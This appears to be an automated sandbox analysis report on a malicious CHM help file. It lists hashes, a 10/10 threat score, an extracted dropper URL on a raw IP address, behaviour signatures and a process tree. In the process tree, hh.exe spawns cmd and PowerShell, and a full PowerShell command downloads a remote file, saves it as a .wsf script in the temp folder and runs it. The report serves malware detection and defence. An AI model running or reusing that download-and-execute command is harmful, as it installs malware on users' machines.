Analysis
-
max time kernel
144s -
max time network
152s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
-
submitted
01-01-2024 15:12
General
-
Target
93dc1dee6b92da2fe38858162e039eb54ce5e109286432cb3a55c06818eff61a.chm
-
Size
20KB
-
MD5
d0f8b99970cbe34b5fe6492d66340edf
-
SHA1
05953d775679f3effed1cbeb429218797899a62d
-
SHA256
93dc1dee6b92da2fe38858162e039eb54ce5e109286432cb3a55c06818eff61a
-
SHA512
718b8dd293806ee92f43f560dac3ebc48d27f7483b97aacd13f17b83e13e251d7e2d10b5f98f1ec61b3536d9de49e7ab09050d75d227429bcaaffbed1bdc8121
-
SSDEEP
384:gpabv3H87wzhdfl5COJNnZf1l4StghfeTqKrLWj:gpytzhdflQOJ3fwSasp2
Score
10/10
Malware Config
Extracted
Language
ps1
Deobfuscated
URLs
exe.dropper
http://188.241.58.24/zae/br.css
Signatures
-
Blocklisted process makes network request 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 3 IoCs
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Suspicious use of SetWindowsHookEx 2 IoCs
-
Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Windows\hh.exe"C:\Windows\hh.exe" C:\Users\Admin\AppData\Local\Temp\93dc1dee6b92da2fe38858162e039eb54ce5e109286432cb3a55c06818eff61a.chm1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell (new-object System.Net.WebClient).DownloadFile('http://188.241.58.24/zae/br.css','%TEMP%\br.wsf'); Start-Process '%TEMP%\br.wsf'2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell (new-object System.Net.WebClient).DownloadFile('http://188.241.58.24/zae/br.css','C:\Users\Admin\AppData\Local\Temp\br.wsf'); Start-Process 'C:\Users\Admin\AppData\Local\Temp\br.wsf'3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
10.8MB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
136KB
-
Filesize
10.8MB